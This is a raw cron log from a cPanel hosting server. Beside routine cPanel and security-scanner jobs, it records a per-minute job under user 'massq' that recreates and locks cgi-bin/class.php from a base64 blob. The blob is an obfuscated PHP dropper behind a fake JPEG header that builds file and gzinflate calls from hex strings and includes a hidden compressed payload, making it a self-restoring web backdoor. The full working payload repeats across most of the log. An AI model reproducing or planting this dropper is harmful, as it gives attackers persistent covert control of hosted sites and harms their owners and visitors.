Sep  5 21:10:01 server CROND[4458]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 21:10:01 server CROND[4462]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:10:01 server CROND[4464]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 21:10:01 server CROND[4466]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 21:10:01 server CROND[4463]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 21:10:01 server CROND[4469]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:10:01 server CROND[4465]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:11:01 server CROND[5280]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:11:01 server CROND[5281]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:11:01 server CROND[5282]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:12:01 server CROND[5654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:12:01 server CROND[5655]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 21:12:01 server CROND[5656]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:12:01 server CROND[5657]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:13:01 server CROND[6136]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:13:01 server CROND[6137]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:13:01 server CROND[6138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:14:01 server CROND[6515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:14:01 server CROND[6516]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:14:01 server CROND[6517]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:15:01 server CROND[6906]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 21:15:01 server CROND[6907]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 21:15:01 server CROND[6908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:15:01 server CROND[6911]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 21:15:01 server CROND[6912]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:15:01 server CROND[6913]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 21:15:01 server CROND[6914]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 21:15:01 server CROND[6909]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:16:01 server CROND[7856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:16:01 server CROND[7857]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:16:01 server CROND[7858]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:17:01 server CROND[8259]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:17:01 server CROND[8258]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:17:01 server CROND[8257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:18:01 server CROND[8634]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:18:01 server CROND[8635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:18:01 server CROND[8636]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:19:01 server CROND[9044]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:19:01 server CROND[9045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:19:01 server CROND[9046]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:20:01 server CROND[9519]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 21:20:01 server CROND[9521]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 21:20:01 server CROND[9523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:20:01 server CROND[9524]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 21:20:01 server CROND[9527]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:20:01 server CROND[9529]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 21:20:01 server CROND[9526]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 21:20:01 server CROND[9525]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 21:20:01 server CROND[9528]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 21:21:01 server CROND[10429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:21:01 server CROND[10430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
